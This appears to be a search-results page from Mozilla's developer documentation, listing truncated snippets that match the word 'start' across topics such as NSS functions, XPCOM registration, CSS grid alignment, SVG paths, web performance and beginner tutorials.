startup). // nss actually has some support for permanent symmetric keys. however this // example will need to be modified somewhat in order to demonstrate it. // utility function to print hex data static void printbuffer(unsigned char *digest, unsigned int len) { int i; cout << "length: " << len << endl; for(i = 0;i < len;i++) printf("%02x ", digest[i]); cout << endl; } // xxx data protecti...
...gets the server's public key (wrapping key) to // send to another server. this becomes the input to // the exportkeys method on the remote server. int exportpublickey(secitem **pubkeydata); // export the encryption and key using the key // provided. the key should come from another server // in the cluster. ...
...And 7 more matches
NSS functions
sl_optionsetdefault mxr 3.2 and later ssl_peercertificate mxr 3.2 and later ssl_preencryptedfiletostream mxr 3.2 and later ssl_preencryptedstreamtofile mxr 3.2 and later ssl_rehandshake mxr 3.2 and later ssl_rehandshakewithtimeout mxr 3.11.4 and later ssl_resethandshake mxr 3.2 and later ssl_re
starthandshakeaftercertreq mxr 3.2 and later ssl_re
starthandshakeafterservercert mxr 3.2 and later ssl_revealcert mxr 3.2 and later ssl_revealpinarg mxr 3.2 and later ssl_revealurl mxr 3.2 and later ssl_securitystatus mxr 3.2 and later ssl_setmaxservercachelocks mxr 3.4 and later ssl_setpkcs11pinarg...
...removecertlistnode mxr 3.6 and later cert_rfc1485_escapeandquote mxr 3.2 and later cert_savesmimeprofile mxr 3.2 and later cert_setsloptime mxr 3.2 and later cert_setocspfailuremode mxr 3.11.7 and later cert_setocsptimeout mxr 3.12 and later cert_setusepkixforvalidation mxr 3.12 and later cert_
startcertextensions mxr 3.5 and later cert_
startcertificaterequestattributes mxr 3.10 and later cert_
startcrlentryextensions mxr 3.10 and later cert_
startcrlextensions mxr 3.10 and later cert_uncachecrl mxr 3.10 and later cert_verifycertname mxr 3.2 and later cert_verifycacertforusage mxr 3.6 and later ...
... sec_asn1decoderclearfilterproc mxr 3.2 and later sec_asn1decoderclearnotifyproc mxr 3.2 and later sec_asn1decoderfinish mxr 3.2 and later sec_asn1decodersetfilterproc mxr 3.2 and later sec_asn1decodersetnotifyproc mxr 3.2 and later sec_asn1decoder
start mxr 3.2 and later sec_asn1decoderupdate mxr 3.2 and later sec_asn1encode mxr 3.2 and later sec_asn1encodeinteger mxr 3.2 and later sec_asn1encodeitem mxr 3.2 and later sec_asn1encoderabort mxr 3.9 and later sec_asn1encoderclearnoti...
...And 7 more matches
XPCOM changes in Gecko 2.0
as time allows to remove references to interfaces being "frozen" or "unfrozen." component registration the way xpcom components are registered changed in gecko 2. prior to gecko 2, during component registration, all binary and javascript component files were loaded and called, asking them to register themselves. if you used xpcomutils.jsm, some of this was hidden from you, but it was still there.
starting in gecko 2, however, components are registered using manifest files, similarly to how chrome is registered. in fact, the same chrome manifest file will be used to register components. all existing xpcom components will need to be updated to support this. however, it's very easy to do, and you can actually support both types of registration for backward compatibility. component manifests all co...
...that nsigenericfactory.h has been removed. references to nsigenericfactory.h should be replaced with mozilla/moduleutils.h. it is possible for a binary component to be compatible with mozilla 1.9.2 and mozilla 2.0 by using the extra macro ns_impl_mozilla192_nsgetmodule. see nssamplemodule.cpp for more details. note: binary xpcom components must be recompiled for every new major release of firefox
starting with firefox 4. your life would be much easier over the long term if you switch to using js-ctypes instead. also note that extensions using binary components must now use the unpack property in the install manifest. platform-specific directories the component/chrome system used to look in platform-specific subdirectories of an extension, such as platform/winnt_x86-msvc/chrome.manifest on windo...
..._64-gcc3 binary-component components/linux/mycomponent.so abi=linux_x86-gcc3 this also means that platform-specific preferences are no longer possible. if you need to adjust default preferences based on platform, you can do so at first run by looking up what platform you're on and changing the preferences at that time. category registration prior to gecko 2, extensions could listen for the xpcom-
startup and app-
startup notifications during
startup, and perform actions during those. this is no longer the case. the earliest
startup notification extensions can receive now is profile-after-change, which has always been the recommended notification to observe. that's because it's among the earliest notifications that occurs after the profile folder (and therefore preferences and other services) is ...
...And 7 more matches
nsIAccessibleEvent
removed from the selection. event_selection_within 0x8009 0x0015 0x0012 numerous selection changes have occurred within a container object. event_alert 0x0002 0x0016 0x0013 an alert has been generated. server applications send this event when a user needs to know that a user interface element has changed. event_foreground 0x0003 0x0017 0x0014 the foreground window has changed. event_menu_
start 0x0018 0x0015 a menu item on the menu bar has been selected. event_menu_end 0x0019 0x0016 a menu from the menu bar has been closed. event_menupopup_
start 0x001a 0x0017 a pop-up menu has been displayed. event_menupopup_end 0x001b 0x0018 a pop-up menu has been closed. event_capture_
start 0x001c 0x0019 a window has received mouse capture. event_capture_end 0x001d 0x001a a windo...
...r has been selected. event_menu_end 0x0019 0x0016 a menu from the menu bar has been closed. event_menupopup_
start 0x001a 0x0017 a pop-up menu has been displayed. event_menupopup_end 0x001b 0x0018 a pop-up menu has been closed. event_capture_
start 0x001c 0x0019 a window has received mouse capture. event_capture_end 0x001d 0x001a a window has lost mouse capture. event_movesize_
start 0x001e 0x001b a window is being moved or resized. event_movesize_end 0x001f 0x001c the movement or resizing of a window has finished. event_contexthelp_
start 0x0020 0x001d a window has entered context-sensitive help mode. ...
...x001a a window has lost mouse capture. event_movesize_
start 0x001e 0x001b a window is being moved or resized. event_movesize_end 0x001f 0x001c the movement or resizing of a window has finished. event_contexthelp_
start 0x0020 0x001d a window has entered context-sensitive help mode. event_contexthelp_end 0x0021 0x001e a window has exited context-sensitive help mode. event_dragdrop_
start 0x0022 0x001f an application is about to enter drag-and-drop mode. event_dragdrop_end 0x0023 0x0020 an application is about to exit drag-and-drop mode. event_dialog_
start 0x0024 0x0021 a dialog box has been displayed. event_dialog_end 0x0025 0x0022 a dialog box has been closed. event_scrolling_
start 0x0026 0x0023 scrolling has
started on a scroll bar. event_scrolling_end 0x0...
...And 7 more matches
nsIDOMWindowUtils
sendsimplegestureevent(in astring atype, in float ax, in float ay, in unsigned long adirection, in double adelta, in long amodifiers); void sendtextevent(in astring acompositionstring, in long afirstclauselength, in unsigned long afirstclauseattr, in long asecondclauselength, in unsigned long asecondclauseattr, in long athirdclauselength, in unsigned long athirdclauseattr, in long acaret
start, in long acaretlength); obsolete since gecko 26 boolean sendtouchevent(in astring atype, [array, size_is(count)] in pruint32 aidentifiers, [array, size_is(count)] in print32 axs, [array, size_is(count)] in print32 ays, [array, size_is(count)] in pruint32 arxs, [array, size_is(count)] in pruint32 arys, [array, size_is(count)] in float arotationangles, [array, size_is(count)] in float afor...
...read only. exceptions...
...ko 38 synthesize a composition event to the window. cannot be accessed from unprivileged context (not content-accessible) will throw a dom security error if called without universalxpconnect privileges. this is obsoleted since gecko 38. use nsitextinputprocessor, instead. void sendcompositionevent( in astring atype, ); obsolete since gecko 9 parameters atype the event type: "composition
start" or "compositionend". void sendcompositionevent( in astring atype, in astring adata, in astring alocale ); obsolete since gecko 38 parameters atype the event type: "composition
start" or "compositionend" obsolete since gecko 36. since gecko 36, specifying "compositionend" isn't fired anything. instead, use "compositioncommitasis" or "compositioncommit". or "compositionupdate". ob...
...And 7 more matches
Component; nsIPrefBranch
ication. inherits from: nsisupports last changed in gecko 58 (firefox 58 / thunderbird 58 / seamonkey 2.55) this object is created with a "root" value which describes the base point in the preferences "tree" from which this "branch" stems. preferences are accessed off of this root by using just the final portion of the preference. for example, if this object is created with the root "browser.
startup.", the preferences "browser.
startup.page", "browser.
startup.homepage", and "browser.
startup.homepage_override" can be accessed by simply passing "page", "homepage", or "homepage_override" to the various get/set methods. method overview void addobserver(in string adomain, in nsiobserver aobserver, in boolean aholdweak); void clearuserpref(in string aprefname); void ...
...rowser.
startup.page", "browser.
startup.homepage", and "browser.
startup.homepage_override" can be accessed by simply passing "page", "homepage", or "homepage_override" to the various get/set methods. ...
...id deletebranch(in string a
startingat); boolean getboolpref(in string aprefname, requires gecko 54 [optional] in boolean adefaultvalue); string getcharpref(in string aprefname,requires gecko 54 [optional] in string adefaultvalue); requires gecko 58 utf8tring getstringpref(in string aprefname, [optional] in utf8string adefaultvalue); void getchildlist(in string a
startingat, [optional] out unsigned long acount, [array, size_is(acount), retval] out string achildarray); void getcomplexvalue(in string aprefname, in nsiidref atype, [iid_is(atype), retval] out nsqiresult avalue); long getintpref(in string aprefname,requires gecko 54 [optional] in long adefaultvalue); long getpreftype(in string aprefname); void lockpref(in string a...
...And 7 more matches
Plug-in Basics - Plugins
it. notice in view-source that this information is simply gathered from the javascript. because plug-ins are platform-specific, you must port them to every operating system and processor platform upon which you want to deploy your plug-in. plug-ins and helper applications before plug-ins, there were helper applications. a helper application is a separate, free-standing application that can be
started from the browser. like a plug-in, the browser
starts a helper application when the browser encounters a mime type that is mapped to it. unlike a plug-in, a helper application runs separately from the browser in its own application space and does not interact with the browser or the web. when the browser encounters a mime type, it always searches for a registered plug-in first. if there are no ...
...per application. plug-ins and helper applications fill different application needs. for more information about helper applications, refer to the netscape online help. how plug-ins work the life cycle of a plug-in, unlike that of an application, is completely controlled by the web page that calls it. this section gives you an overview of the way that plug-ins operate in the browser. when gecko
starts, it looks for plugin modules in particular places on the system. for more information about where gecko looks for plugin modules on different systems, see how gecko finds plug-ins. when the user opens a page that contains embedded data of a media type that invokes a plug-in, the browser responds with the following sequence of actions: check for a plug-in with a matching mime type load the p...
...deleted. when the last instance of a plug-in is deleted, the plug-in code is unloaded from memory. a plug-in consumes no resources other than disk space when it is not loaded. the next section, understanding the runtime model, describes these stages in more detail. understanding the runtime model plug-ins are dynamic code modules that are associated with one or more mime types. when the browser
starts, it enumerates the available plug-ins (this step varies according to platform), reads resources from each plug-in file to determine the mime types for that plug-in, and registers each plug-in library for its mime types. the following stages outline the life of a plug-in from loading to deletion: when gecko encounters data of a mime type registered for a plug-in (either embedded in an html pa...
...And 7 more matches
Applying styles and colors - Web APIs
arance of the "corners" where lines meet. miterlimit = value establishes a limit on the miter when two lines join at a sharp angle, to let you control how thick the junction becomes. getlinedash() returns the current line dash pattern array containing an even number of non-negative numbers. setlinedash(segments) sets the current line dash pattern. linedashoffset = value specifies where to
start a dash array on a line. you'll get a better understanding of what these do by looking at the examples below. a linewidth example this property sets the current line thickness. values must be positive numbers. by default this value is set to 1.0 units. the line width is the thickness of the stroke centered on the given path. in other words, the area that's drawn extends to half the line width...
...rage at the endpoints (but note also that this behavior depends on the current linecap style whose default value is butt; you may want to compute consistent strokes with half-pixel coordinates for odd-width lines, by setting the linecap style to square, so that the outer border of the stroke around the endpoint will be automatically extended to cover the whole pixel exactly). ...
...default value is butt; you may want to compute consistent strokes with half-pixel coordinates for odd-width lines, by setting the linecap style to square, so that the outer border of the stroke around the endpoint will be automatically extended to cover the whole pixel exactly). ...
...And 7 more matches
PerformanceTiming - Web APIs
point in the page loading process was reached. some correspond to dom events; others describe the time at which internal browser operations of interest took place. each time is provided as an unsigned long long representing the moment, in milliseconds since the unix epoch these properties are listed in the order in which they occur during the navigation process. performancetiming.navigation
start read only when the prompt for unload terminates on the previous document in the same browsing context. if there is no previous document, this value will be the same as performancetiming.fetch
start. performancetiming.unloadevent
start read only when the unload event has been thrown, indicating the time at which the previous document in the window began to unload. if there is no previous docu...
... no previous document, or if the previous document or one of the needed redirects is not of the same origin, the value returned is 0. performancetiming.unloadeventend read only when the unload event handler finishes. if there is no previous document, or if the previous document, or one of the needed redirects, is not of the same origin, the value returned is 0. performancetiming.redirect
start read only when the first http redirect
starts. if there is no redirect, or if one of the redirects is not of the same origin, the value returned is 0. performancetiming.redirectend read only when the last http redirect is completed, that is when the last byte of the http response has been received. if there is no redirect, or if one of the redirects is not of the same origin, the value re...
...t
starts. if there is no redirect, or if one of the redirects is not of the same origin, the value returned is 0. performancetiming.redirectend read only when the last http redirect is completed, that is when the last byte of the http response has been received. if there is no redirect, or if one of the redirects is not of the same origin, the value returned is 0. performancetiming.fetch
start read only when the browser is ready to fetch the document using an http request. this moment is before the check to any application cache. performancetiming.domainlookup
start read only when the domain lookup
starts. if a persistent connection is used, or the information is stored in a cache or a local resource, the value will be the same as performancetiming.fetch
start. performancetim...
...And 7 more matches
Using Pointer Events - Web APIs
of course, also be a stylus, mouse, or other method of pointing at a location. create a canvas the touch-action property is set to none to prevent the browser from applying its default touch behavior to the application. <canvas id="canvas" width="600" height="600" style="border:solid black 1px; touch-action:none"> your browser does not support canvas element. ...
...e browser from applying its default touch behavior to the application. <canvas id="canvas" width="600" height="600" style="border:solid black 1px; touch-action:none"> your browser does not support canvas element. ...
...nvas element. </canvas> <br> <button onclick="
startup()">initialize</button> <br> log: <pre id="log" style="border: 1px solid #ccc;"></pre> setting up the event handlers when the page loads, the
startup() function shown below should be called by our <body> element's onload attribute (but in the example we use a button to trigger it, due to limitations of the mdn live example system). ...
...And 7 more matches
Relationship of grid layout to other layout methods - CSS: Cascading Style Sheets
box, i have a container with three items inside. the wrapper min-height is set, so it defines the height of the flex container. i have set align-items on the flex container to flex-end so the items will line up at the end of the flex container. i have also set the align-self property on box1 so it will override the default and stretch to the height of the container and on box2 so it aligns to the
start of the flex container. * {box-sizing: border-box;} .wrapper { border: 2px solid #f76707; border-radius: 5px; background-color: #fff4e6; } .wrapper > div { border: 2px solid #ffa94d; border-radius: 5px; background-color: #ffd8a8; padding: 1em; color: #d9480f; } <div class="wrapper"> <div class="box1">one</div> <div class="box2">two</div> <div class="box3">three</div> <...
...in the case of a grid layout, we are aligning the items inside their grid area. in this case that is a single grid cell, but it could be an area made up of sev...
...in the case of a grid layout, we are aligning the items inside their grid area. ...
...And 7 more matches
justify-items - CSS: Cascading Style Sheets
flexbox layouts, this property is ignored (more about alignment in flexbox) in grid layouts, it aligns the items inside their grid areas on the inline axis (more about alignment in grid layouts) syntax /* basic keywords */ justify-items: auto; justify-items: normal; justify-items: stretch; /* positional alignment */ justify-items: center; /* pack items around the center */ justify-items:
start; /* pack items from the
start */ justify-items: end; /* pack items from the end */ justify-items: flex-
start; /* equivalent to '
start'. note that justify-items is ignored in flexbox layouts. */ justify-items: flex-end; /* equivalent to 'end'. note that justify-items is ignored in flexbox layouts. */ justify-items: self-
start; justify-items: self-end; justify-items: left; /* pa...
...ight; justify-items: legacy left; justify-items: legacy center; /* global values */ justify-items: inherit; justify-items: initial; justify-items: unset; this property can take one of four different forms: basic keywords: one of the keyword values normal, auto, or stretch. baseline alignment: the baseline keyword, plus optionally one of first or last. positional alignment: one of: center,
start, end, flex-
start, flex-end, self-
start, self-end, left, or right. plus optionally safe or unsafe. legacy alignment: the legacy keyword, followed by one of left or right. values auto the value used is the value of the justify-items property of the parents box, unless the box has no parent, or is absolutely positioned, in these cases, auto represents normal. normal the effect of this keywo...
...gacy alignment: the legacy keyword, followed by one of left or right. values auto the value used is the value of the justify-items property of the parents box, unless the box has no parent, or is absolutely positioned, in these cases, auto represents normal. normal the effect of this keyword is dependent of the layout mode we are in: in block-level layouts, the keyword is a synonym of
start. in absolutely-positioned layouts, the keyword behaved like
start on replaced absolutely-positioned boxes, and as stretch on all other absolutely-positioned boxes. in table cell layouts, this keyword has no meaning as this property is ignored. in flexbox layouts, this keyword has no meaning as this property is ignored. in grid layouts, this keyword leads to a behavior similar to the one o...
...And 7 more matches
place-content - CSS: Cascading Style Sheets
repository. if you'd like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...like to contribute to the interactive examples project, please clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...ase clone https://github.com/mdn/interactive-examples and send us a pull request. ...
...And 7 more matches
Audio and Video Delivery - Developer guides
the audio and video elements whether we are dealing with pre-recorded audio files or live streams, the mechanism for making them available through the browser's <audio> and <video> elements remains pretty much the same. ...
...find more about web audio api basics in using the web audio api. getusermedia / stream api it's also possible to retrieve a live stream from a webcam and/o...
...find more about web audio api basics in using the web audio api. getusermedia / stream api it's also possible to retrieve a live stream from a webcam and/or microphone ...
...And 7 more matches
Populating the page: how browsers work - Web Performance
is designed so that two entities attempting to communicate—in this case the browser and web server—can negotiate the parameters of the network tcp socket connection before transmitting data, often over https. tcp's three way handshaking technique is often referred to as "syn-syn-ack"—or more accurately syn, syn-ack, ack—because there are three messages transmitted by tcp to negotiate and
start a tcp session between two computers. yes, this means three more messages back and forth between each server, and the request has yet to be made. tls negotiation for secure connections established over https, another "handshake" is required. this handshake, or rather the tls negotiation, determines which cipher will be used to encrypt the communication, verifies the server, and establishes that ...
...ived. time to first byte (ttfb) is the time between when the user made the request—say by clicking on a link—and the receipt of this first packet of html. the first chunk of content is usually 14kb of data. in our example above, the request is definitely less than 14kb, but the linked resources aren't requested until the browser encounters the links during parsing, described below. tcp slow
start / 14kb rule the first response packet will be 14kb. this is part of tcp slow
start, an algorithm which balances the speed of a network connection. slow
start gradually increases the amount of data transmitted until the network's maximum bandwidth can be determined. in tcp slow
start, after receipt of the initial packet, the server doubles the size of the next packet to around 28kb. subsequent p...
...reases the amount of data transmitted until the network's maximum bandwidth can be determined. in tcp slow
start, after receipt of the initial packet, the server doubles the size of the next packet to around 28kb. subsequent packets increase in size until a predetermined threshold is reached, or congestion is experienced. if you’ve ever heard of the 14kb rule for initial page load, tcp slow
start is the reason why the initial response is 14kb, and why web performance optimization calls for focusing optimizations with this initial 14kb response in mind. tcp slow
start gradually builds up transmission speeds appropriate for the network's capabilities to avoid congestion. congestion control as the server sends data in tcp packets, the user's client confirms delivery by returning acknowledg...
...And 7 more matches
d - SVG: Scalable Vector Graphics
command parameters notes c (x1,...
... command parameters notes c (x1,y1, x2,y2, x,y)+ draw a cubic bézier curve from the current point to...
... commands with relative coordinates --> <path fill="none" stroke="red" d="m 110,10 l 80,80 v -80 h -40" /> </svg> cubic bézier curve cubic bézier curves are smooth curve definitions using four points:
starting point (current point) (po = {xo, yo}) end point (pn = {xn, yn})
start control point (pcs = {xcs, ycs}) (controls curvature near the
start of the curve) end control point (pce = {xce, yce}) (controls curvature near the end of the curve) after drawing, the end point (pn) becomes the current point for the next command (po′). command parameters notes c (x1,y1, x2,y2, x,y)+ draw a cubic bézier curve from the current point to the end point specified by x,y. the
start control point is specified ...
...And 7 more matches
SVG documentation index - SVG: Scalable Vector Graphics
ts to control whether or not the element on which it appears should be rendered. 15 svg core attributes attribute, intermediate, reference, svg the svg core attributes are all the common attributes that can be specified on any svg element. 16 svg event attributes advanced, attribute, draft, landing, needsupdate, svg event attributes always have their name
starting with "on" followed by the name of the event for which they are intended. they specifies some script to run when the event of the given type is dispatched to the element on which the attributes are specified. 17 svg presentation attributes attribute, beginner, draft, reference, svg svg presentation attributes are css properties that can be used as attributes on svg elements...
...s the maximum unaccented depth of the font. 57 diffuseconstant filters, svg, svg attribute the diffuseconstant attribute represents the kd value in the phong lighting model. in svg, this can be any non-negative number. 58 direction svg, svg attribute the direction attribute specifies the inline-base direction of a <text> or <tspan> element. it defines the
start and end points of a line of text as used by the text-anchor and inline-size properties. it also may affect the direction in which characters are positioned if the unicode-bidi property's value is either embed or bidi-override. 59 display svg, svg attribute the display attribute lets you control the rendering of graphical or container elements. 60 divisor filter...
...onal color consortium. 128 marker-end svg, svg attribute the marker-end attribute defines the arrowhead or polymarker that will be drawn at the final vertex of the given shape. 129 marker-mid svg, svg attribute the marker-mid attribute defines the arrowhead or polymarker that will be drawn at all interior vertices of the given shape. 130 marker-
start svg, svg attribute the marker-
start attribute defines the arrowhead or polymarker that will be drawn at the first vertex of the given shape. 131 markerheight needsexample, svg, svg attribute the markerheight attribute represents the height of the viewport into which the <marker> is to be fitted when it is rendered according to the viewbox and preserveaspectratio att...
...And 7 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
stead, you make your custom button as a self-contained extension. you can use the sample code provided here to make buttons that do various useful things. if you know how to program in javascript, then you can write your own code that does other things. you can use this page if all you really want is a button for some special purpose. you can also use this page to learn about extensions, and as a
starting point if you plan to write a more complex extension. note that this extension is very simplified. use other tutorials and articles to find out more—the main extensions page here is a good
starting point. in particular, the articles creating toolbar buttons and building an extension explain the process in more detail. supported applications you can use the steps on this page only with seamonk...
... location of seamonkey's chrome directory. explanation: the chrome directory contains program files that are part of seamonkey itself, together with other files that are provided by extensions. your toolbar button will be an extension. 2. delete these two files: chrome.rdf overlays.rdf explanation: seamonkey automatically rebuilds these files the next time it
starts. when it rebuilds them, it will include your new extension. 3. edit the file: installed-chrome.txt at the end of the file, add the following line. copy and paste the line from here, to avoid typing errors: content,install,url,resource:/chrome/custombutton/ explanation: this line registers your custom toolbar button extension, linking it into seamonkey. 4. ...
...es you have just created. ensure that the name of the saved file is: button-1s.png explanation: the image is in nine parts. the six parts at the left are for seamonkey's modern theme, and the three parts at the right are for its classic theme. lighter images are used when the mouse pointer is over the button. darker images are used when the button is pressed. testing your new button re
start seamonkey. click the button to test it. you should see the pop-up message. further development this section describes how you can develop your button further. uninstalling the button if you ever want to uninstall the button, delete the files chrome.rdf and overlays.rdf again, just as you did in step 2. remove the line that you added to installed-chrome.txt in step 3. delete the custombutton direc...
...And 6 more matches
XULRunner tips - Archive of obsolete content
tensions.properties"); pref("extensions.getmoreextensionsurl", "chrome://mozapps/locale/extensions/extensions.properties"); pref("extensions.getmorethemesurl", "chrome://mozapps/locale/extensions/extensions.properties"); if your application is based on gecko 2.0, you need to register a component through the new component registration because the extension manager uses fuel, namely application.re
start(), to re
start your xulrunner-based application after any change (installation, removal, enabling, disabling) in the extensions' list: copy files fuelapplication.js and fuelapplication.manifest from browser/fuel/src for instance into your components/ directory tweak the line #include ../../../toolkit/components/exthelper/extapplication.js in your copy of fuelapplication.js as needed make sure...
...there is a working stub. any better suggestion? venkman uses "chrome://communicator/skin/" as an alias for "chrome://global/skin/" and this alias was maintained in the xulrunner toolkit until xulrunner 1.9 was released. when using xulrunner ...
... var windowds = components.classes["@mozilla.org/rdf/datasource;1?name=window-mediator"] .getservice(components.interfaces.nsiwindowdatasource); var tmpnamespace = {}; var sl = components.classes["@mozilla.org/m...
...And 6 more matches
Square tilemaps implementation: Scrolling maps - Game development
amera's viewport. maxx and maxy: the limit for the camera's position — the lower limit will nearly always be (0,0), and in this case the upper limit is equal to the size of the world minus the size of the camera's viewport. rendering the map there are two main differences between rendering scrolling maps vs. static maps: partial tiles might be shown. in static maps, usually the rendering
starts at the top left corner of a tile situated at the top left corner of a viewport. while rendering scrolling tilemaps, the first tile will often be clipped. todo: show a diagram here explaining this. only a section of the map will be rendered. if the map is bigger than the viewport, we can obviously only display a part of it at a time, whereas non-scrolling maps are usually rendered wholly. ...
... only a section of the map will be rendered. if the map is bigger than the viewport, we can obviously only display a part of it at a time, whereas non-scrolling maps are usually rendered wholly. to handle these issues, we need to slightly modify the rendering algorithm. let's imagine that we have the camera pointing at (5,10). that means that the first tile would be 0x0. ...
... will be rendered. if the map is bigger than the viewport, we can obviously only display a part of it at a time, whereas non-scrolling maps are usually rendered wholly. to handle these issues, we need to slightly modify the rendering algorithm. let's imagine that we have the camera pointing at (5,10). that means that the first tile would be 0x0. in the demo code, the
starting point is stored at
startcol and
startrow. ...
...And 6 more matches
Grids - Learn web development
...
... as gutters. creating your grid in css having decided on the grid that your design needs, you can use css grid layout to create that grid in css and place items onto it. we will look at the basic features of grid layout first and then explore how to create a simple grid system for your project. the following video provides a nice visual explanation of using css grid: defining a grid as a
starting point, download and open the
starting point file in your text editor and browser (you can also see it live here). you will see an example with a container, which has some child items. by default these display in normal flow so the boxes display one below the other. we will be working with this file for the first part of this lesson, making changes to see how grid behaves. to define a grid we ...
...-gap: 20px; } this works because grid is creating as many 200 pixel columns as will fit into the container, then sharing whatever space is leftover between all of the columns — the maximum is 1fr which, as we already know, distributes space evenly between tracks. line-based placement we now move on from creating a grid, to placing things on the grid. ...
...And 6 more matches
Practical positioning examples - Learn web development
w all the content, thereby improving performance. note: some web developers take things even further, only having one page of information loaded at once, and dynamically changing the information shown using a javascript feature such as xmlhttprequest. at this point in your learning however we want to keep things as simple as possible. there is some javascript later on, but only a tiny bit. to
start with, we'd like you to make a local copy of the
starting html file — info-box-
start.html. save this somewhere sensible on your local computer, and open it up in your text editor. let's look at the html contained within the body: <section class="info-box"> <ul> <li><a href="#" class="active">tab 1</a></li> <li><a href="#">tab 2</a></li> <li><a href="#">tab 3</a></li> </ul> <di...
...g different web pages when they are clicked on like we've seen previously in the course, they cause different panels to be displayed on the same page. first, add the following rule at the bottom of your css to remove the default padding-left and margin-top from the unordered list: .info-box ul { padding-left: 0; margin-top: 0; } note: we are using descendant selectors with .info-box at the
start of the chain throughout this example — this is so that we can insert this feature into a page with other content already on it, without fear of interfering with the styles applied to other parts of the page. next, we'll style the horizontal tabs — the list items are all floated left to make them sit in a line together, their list-style-type is set to none to get rid of the bullets, and thei...
...t fixed position so that it stays in the same position in the browser window. when the main content scrolls, the info-box will stay in the same position on the screen. our finished example will look like this: note: you can see the finished example running live at fixed-info-box.html (source code). check it out to get an idea of what you will be building in this section of the article. as a
starting point, you can use your completed example from the first section of the article, or make a local copy of info-box.html from our github repo. html additions first of all, we need some additional html to represent the web site main content. add the following <section> just below your opening <body> tag, just before the existing section: <section class="fake-content"> <h1>fake content</h1> ...
...And 6 more matches
How to build custom form controls - Learn web development
ontrol makes sense, and what to consider when building a control is a requirement. note: we'll focus on building the control, not on how to make the code generic and reusable; that would involve some non-trival javascript code and dom manipulation in an unknown context, and that is out of the scope of this article. design, structure, and semantics before building a custom control, you should
start by figuring out exactly what you want. this will save you some precious time. in particular, it's important to clearly define all the states of your control. to do this, it's good to
start with an existing control whose states and behavior are well known, so that you can simply mimic those as much as possible. in our example, we will rebuild the <select> element. here is the result we want to ac...
...e normal state (on the left); the active state (in the middle) and the open state (on the right). in terms of behavior, we are recreating a native html element. therefore it should have the same behaviors and semantics as the native html element. we require our control to be usable with a mouse as well as with a keyboard, and comprehensible to a screen reader, just like any native control. let's
start by defining how the control reaches each state: the control is in its normal state when: the page loads. the control was active and the user clicks anywhere outside it. the control was active and the user moves the focus to another control using the keyboard (e.g. the tab key). the control is in its active state when: the user clicks on it or touches it on a touch screen. ...
...available choices (this is the same as clicking the <select> element with a mouse). this is achieved with alt + down on windows. we didn't implement this in our example, but it would be easy to do so, as the mechanism has already been implemented for the click event. defining the html structure and (some) semantics now that the control's basic functionality has been decided upon, it's time to
start building it. the first step is to define its html structure and to give it some basic semantics. here is what we need to rebuild a <select> element: <!-- this is our main container for our control. the tabindex attribute is what allows the user to focus the control. we'll see later that it's better to set it through javascript. --> <div class="select" tabindex="0"> <!-- this contain...
...And 6 more matches
Object-oriented JavaScript for beginners - Learn web development
nding of html and css, familiarity with javascript basics (see first steps and building blocks) and oojs basics (see introduction to objects). objective: to understand the basic theory behind object-oriented programming, how this relates to javascript ("everything is an object"), and how to create constructors and object instances. object-oriented programming — the basics to
start with, let's give you a simplistic, high-level view of what object-oriented programming (oop) is. we say simplistic, because oop can quickly get very complicated, and giving it a full treatment now would probably confuse more than help. the basic idea of oop is that we use objects to model real world things that we want to represent inside our programs, and/or provide a simple way to access functi...
...is sometimes called a namespace), making it easy to structure and access; objects are also commonly used as data stores that can be easily sent across the network. defining an object template let's consider a simple program that displays information about the students and teachers at a school. here we'll look at oop theory in general, not in the context of any specific programming language. to
start this off, we could return to our person object type from our first objects article, which defines the generic data and functionality of a person. there are lots of things you could know about a person (their address, height, shoe size, dna profile, passport number, significant personality traits ...) , but in this case we are only interested in showing their name, age, gender, and interests, and ...
...al, such as "hello, my name is [prefix] [lastname], and i teach [subject]." (e.g hello, my name is mr griffiths, and i teach chemistry). note: the fancy word for the ability of multiple object types to implement the same functionality is polymorphism. just in case you were wondering. you can now create object instances from your child classes. for example: in the rest of the article, we'll
start to look at how oop theory can be put into practice in javascript. constructors and object instances javascript uses special functions called constructor functions to define and initialize objects and their features. they are useful because you'll often come across situations in which you don't know how many objects you will be creating; constructors provide the means to create as many objects a...
...And 6 more matches
Aprender y obtener ayuda - Learn web development
en you are trying to understand new subjects or solve new problems that you haven't come across before. for that, you need diffuse thinking. this is the opposite of focus — you let your brain wander around the wider landscape, searching around for connections you didn't have before, touching on new things (or new combinations of things) that you can then focus on later, to strengthen them and
start to really understand what they mean. this is why it is usually good to read some introductory material first to get a high-level understanding of an area before you leap into the specific details. it is also why you can sometimes get really stuck on a problem, but then figure out the answer when you go for a coffee break (or a walk). you might: know how to fix problem a with tool a. know ho...
...ful videos. many people prefer textual articles for more in-depth learning and reference material, and videos for quick explanations of concepts and new features, but it is really up to you what you prefer to learn from. there is no right and wrong answer here. interactive code playgrounds you might be the kind of person that prefers minimal instructions and would prefer to jump straight in and
start playing with code. this is also a reasonable approach, and some learning sites tend to favor it. codecademy for example is a learning site where the tutorials mainly consist of interactive code editors where you have to directly write code and see if the desired result was achieved. many mdn web docs reference pages provide interactive examples too, where you can alter the code and see how the l...
...ey can see it. note: you might favor one learning method over the others, but realistically a hybrid approach is probably what you will end up with. and you'll probably come up with other methods than the three we covered above. making a plan it is a good idea to create a plan to help you achieve what you want to achieve through your learning. a goal statement it sounds silly, but why not
start with a single sentence that says what you want to achieve? the following have different scopes, but are all realistic and achievable: i want to become a professional web developer in two years' time. i want to learn enough to build a website for my local amateur tennis club. i want to learn html and css so i can expand my job role to take over updating the content on our company website. t...
...And 6 more matches
Ember app structure and componentization - Learn web development
omponent displays ember's default welcome message. --}} <welcomepage /> {{!-- feel free to remove this! --}} {{outlet}} <welcomepage /> is a component provided by an ember addon that renders the default welcome page we saw in the previous article, when we first navigated to our server at localhost:4200. however, we don't want this. instead, we want it to contain the todomvc app structure. to
start with, delete the contents of application.hbs and replace them with the following: <section class="todoapp"> <h1>todos</h1> <input class="new-todo" aria-label="what needs to be done?" placeholder="what needs to be done?" autofocus > </section> note: aria-label provides a label for assistive technology to make use of — for example, for a screenreader to read out. this is ...
...to be done?" placeholder="what needs to be done?" autofocus > </section> note: aria-label provides a label for assistive technology to make use of — for example, for a screenreader to read out. this is useful in such cases where we have an <input> being used with no corresponding html text that could be turned into a label. when you save application.hbs, the development server you
